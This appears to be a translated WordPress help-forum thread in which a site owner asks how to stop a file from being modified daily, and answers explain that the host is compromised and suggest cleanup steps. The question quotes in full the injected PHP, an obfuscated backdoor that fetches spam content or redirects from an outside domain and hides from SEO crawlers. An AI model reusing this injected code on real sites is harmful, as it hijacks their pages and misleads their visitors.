如何防止机器人或其他人自动修改任何文件?

时间:2017-01-31 作者:Helping Hands

有人每天修改我们的网站文件wp-blog-header.php.

他们正在添加以下代码,在我们的网站中自动生成不必要的页面,代码为:

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
    basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
        (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

    $at = "base64_" . "decode";

    $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
    );

    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

    $ci = "curl_ex" . "ec";

    $data = $ci($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (strlen($data) > 255 && $code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || $code == 302)) {
        header("Location: " . trim($data), true, $code); exit;
    }
}
我们如何预防它?我昨天删除了上面的脚本,今天它又出现在那里了。

我已输入以下内容.htaccess, 但这无助于:

<Files wp-blog-header.php>
deny from all
</Files>

2 个回复
SO网友:cjbj

我不是安全专家,但您在问题中包含的代码大致做到了这一点:

检查请求是否不是针对静态页面(它无法在其中插入任何内容)

  • 检查请求是否不是来自刮板机器人Ahrefsbot和MJ12bot
  • 如果两项检查都通过,请在与服务器建立连接wpadminadmi.com (这发生在以$ch = curl_init)$data) 在您的站点中

    您的问题不包括恶意软件可能隐藏在您自己的站点中的任何提示。你看到的不是恶意软件本身,而是它生成的另一个恶意软件。

    根本问题可能在任何地方,从受损的ftp帐户到恶意插件/主题。您最好的选择是擦除站点并安装备份。如果你没有,你必须go through the motions.

  • SO网友:Greg Burkett

    这个问题比你试图解决的问题还要严重。如果您阻止编辑该文件,则他们只需尝试编辑其他文件即可。很明显,有人通过脆弱的FTP密码、插件漏洞、过时的代码等攻击了您的主机帐户。

    你应该把重点放在关闭他们如何访问你的系统上,然后处理他们所做的一切。

    一些好的第一步:

    更改密码。是的,都是。FTP、SSH、WordPress admin等。转到WP admin中的WordPress更新页面,更新找到的所有内容https://wordpress.org/plugins/timthumb-vulnerability-scanner/

    相关推荐

    Security and Must Use Plugins

    从codex article 必须使用插件:只需将文件上载到mu插件目录即可启用,无需登录我觉得这是一个潜在的安全问题。在站点上运行插件中的任何代码之前,必须通过管理面板激活常规插件。我一直认为这是一个明智的安全预防措施,因为攻击者如果能够以某种方式将文件上载到plugins文件夹,则在运行代码之前,还必须访问和修改数据库。这个mu-plugins 文件夹似乎提供了一种简单的方法来避免这种情况。我知道WordPress开发人员比我更了解安全性,所以我想知道是否有人能解释为什么这不是一个安全漏洞。